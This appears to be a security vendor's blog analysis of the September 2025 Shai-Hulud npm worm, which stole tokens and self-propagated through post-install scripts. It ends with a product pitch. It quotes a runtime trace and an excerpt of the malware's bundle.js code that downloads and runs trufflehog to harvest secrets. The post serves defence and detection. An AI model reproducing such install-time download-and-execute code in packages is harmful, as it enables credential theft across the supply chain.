The September 2025 Shai-Hulud campaign marks another attack in the npm ecosystem. Unlike prior targeted incidents, this attack combines worm-like propagation and supply chain compromise, making it a very disruptive npm incident.
The Miggo Security team has analyzed the event through the lens of runtime security — leveraging runtime detection capabilities go beyond traditional SBOM scans and static checks.
What Happened
On September 15, 2025, attackers published malicious versions of multiple widely used npm packages.
These versions contained a post-install script that:
- Exfiltrated npm tokens and secrets into attacker-controlled GitHub repositories named Shai-Hulud.
- Propagated the malware by publishing malicious versions of any packages it could access with those stolen tokens.
- Introduced worm-like behavior, causing the malware to spread exponentially across the npm ecosystem.
The result: a multi-wave supply chain compromise where both hundreds of open-source maintainers and downstream enterprises were exposed.
Who Was Affected
The blast radius is large, but primarily two groups are at risk:
- Users who installed a library that depends on an affected library
- CI/CD environments that run builds that rely on an affected library
Importantly: production applications were not directly affected. Instead, the focus was on build-time environments, which often hold high-value secrets.
How to Check if Your Organization has been Compromised
1. Static Detection in Code
You can scan your codebase for dependencies on the affected packages. But this has serious blind spots:
- Breadth of impact: Many libraries were touched by the attack.
- Dependency complexity:
- Multi-hop chains: a library may depend on another library that depends on an affected package.
- Loose versioning: e.g., "affected-library": "^<not-affected-version>" may still resolve to a malicious version.
2. Static Detection in Scanned Images
Another approach is examining the final build artifacts—for example, searching the image filesystem for the malicious bundle.js.
But it lackst:
- Multi-stage builds may strip away the malicious files.
- Artifacts aren’t the only scope of the attack—the malicious behavior only appears at runtime.
When Runtime Matters
Since static detection only works for known packages, organizations must also detect malicious runtime activity that signals active exploitation.
You can use a solution like Miggo Security’s Application, Detection and Response platform (ADR), to inspect the builder behavior during execution. The added ADR layer will enable you to not only inspect malicious actions, but to connect the malicious actions to the application’s code.
In this case, when Shai-Hulud malware executes, one of its malicious actions is installing trufflehog. This tool is then used to exfiltrate secrets from the filesystem and subsequently enables self-propagation.
Below is the evidence that indicates that the CI/CD Builder has been affected in the Shai-Hulud campaign:
/usr/local/bin/node
(pid: 50954) runs:
// ...
*/bundle.js: install
*/bundle.js: extractBinary
node:child_process: execSync
// ...
stacktrace
tar -xzf "/*/trufflehog_3.90.6_linux_amd64.tar.gz" -C "/*" trufflehog
chmod +x /*/trufflehog
rm /*/trufflehog_3.90.6_linux_amd64.tar.gz
related commands
async extractBinary(t) {
try {
const r = "windows" === this.systemInfo.platform ? "trufflehog.exe" : "trufflehog",
n = `tar -xzf "${t}" -C "${process.cwd()}" ${r}`;
(0, te.execSync)(n, {
stdio: "pipe"
}), "windows" !== this.systemInfo.platform && (0, te.execSync)(`chmod +x "${this.binaryPath}"`, {
stdio: "pipe"
});
const F = "windows" === this.systemInfo.platform ? `del "${t}"` : `rm "${t}"`;
(0, te.execSync)(F, {
stdio: "pipe"
}), this.installedStatus = !0
} catch (t) {
throw new Error(`Failed to extract binary: ${t}`)
}
}
async install() {
try {
if (this.installedStatus) return !0;
const t = await this.getLatestRelease(),
r = oe.join(process.cwd(), t.fileName);
return await this.downloadFile(t.downloadUrl, r), await this.extractBinary(r), !0
} catch (t) {
return console.error("TruffleHog installation failed:", t), !1
}
}
actual source code of the malware (bundle.js
)
The Takeaway
The Shai-Hulud incident reinforces a hard truth: supply chain security requires runtime protection.
- Static scanning helps identify known vulnerabilities.
- Runtime detection catches exploited but unclassified (zero-day) threats.
This runtime-first approach ensures security teams can spot and stop malware when no CVE or static signature yet exists.
Miggo Security provides a layered defense, combining the breadth of static analysis with the depth of runtime behavioral detection. That way, when the next Shai-Hulud emerges, your CI/CD pipelines and production apps stay resilient.
Be in touch to learn more.